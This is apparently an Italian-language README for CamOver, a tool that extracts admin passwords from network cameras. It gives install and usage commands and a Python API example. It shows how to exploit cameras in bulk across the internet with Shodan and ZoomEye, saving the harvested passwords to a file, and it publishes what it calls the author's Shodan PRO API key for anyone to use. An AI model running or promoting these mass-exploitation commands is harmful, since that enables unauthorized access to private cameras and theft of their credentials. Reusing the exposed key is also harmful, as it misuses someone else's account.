CamOver

CamOver è uno strumento di sfruttamento delle telecamere che consente di ottenere la password dell'amministratore della telecamera di rete.

Caratteristiche

• Sfrutta le vulnerabilità nei modelli di telecamera più popolari come CCTV, GoAhead e Netwave.
• Ottimizzato per sfruttare più telecamere contemporaneamente da un elenco con threading abilitato.
• Utilizzo semplice tramite CLI e API.

Installazione

pip3 install git+https://github.com/EntySec/CamOver

Utilizzo di base

Per usare CamOver basta digitare camover nel terminale.

usage: camover [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
               [--zoomeye ZOOMEYE] [-p PAGES]

CamOver is a camera exploitation tool that allows to disclosure network camera
admin password.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

Esempi

Sfruttamento di una singola telecamera

Hackiamo la mia telecamera solo per divertimento.

camover -a 192.168.99.100

Sfruttamento di telecamere da Internet

Proviamo a usare il motore di ricerca Shodan per sfruttare le telecamere su Internet, lo useremo con -t per uno sfruttamento rapido.

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTA: La chiave API Shodan fornita (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) è la mia chiave PRO, puoi usare questa chiave o la tua, sentiti libero di usare tutte le nostre risorse gratuitamente :)

Sfruttamento di telecamere da file di input

Proviamo a usare un database aperto di telecamere con -t per uno sfruttamento rapido.

camover -t -i cameras.txt -o passwords.txt

NOTA: Sfrutterà tutte le telecamere nell'elenco cameras.txt in base ai loro indirizzi e salverà tutte le password ottenute in passwords.txt.

Utilizzo dell'API

CamOver ha anche la propria API Python che può essere richiamata importando CamOver nel tuo codice.

from camover import CamOver

Funzioni di base

Queste sono tutte le funzioni di base di CamOver che possono essere usate per sfruttare una telecamera specificata.

• exploit(address) - Sfrutta una singola telecamera tramite l'indirizzo fornito.

Esempi

Sfruttamento di una singola telecamera

from camover import CamOver

camover = CamOver()
creds = camover.exploit('192.168.99.100')

print(creds)